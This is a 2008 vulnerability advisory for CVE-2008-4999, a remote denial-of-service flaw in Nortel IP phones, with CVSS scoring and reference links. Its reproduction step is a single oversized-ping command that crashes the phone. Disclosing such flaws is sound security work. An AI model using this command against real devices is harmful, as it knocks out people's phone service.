Nortel IP Phone DoS

2008.11.11

Credit: sipherr

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-4999

CWE: CWE-20

CVSS Base Score: 7.8/10

Impact Subscore: 6.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Complete

Nortel IP phone DoS

Discovered: 2008-02-25

Tested on firmware: 0604DAS (Latest firmwares have also been tested.)

Welcome the return of the Ping of Death!

wait a minute...isn't this 2008?

Steps to reproduce:

1. ping -s 65500 < ip of the phone >

Thanks to Spithash and the #codemasters (at) dal (dot) net [email concealed] crew.

References:

http://xforce.iss.net/xforce/xfdb/40993

http://www.securityfocus.com/bid/28004

http://www.securityfocus.com/archive/1/archive/1/488803/100/100/threaded

http://www.securityfocus.com/archive/1/archive/1/488801/100/100/threaded

http://www.securityfocus.com/archive/1/archive/1/488782/100/100/threaded

See this note in RAW Version

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Nortel IP Phone DoS

References:

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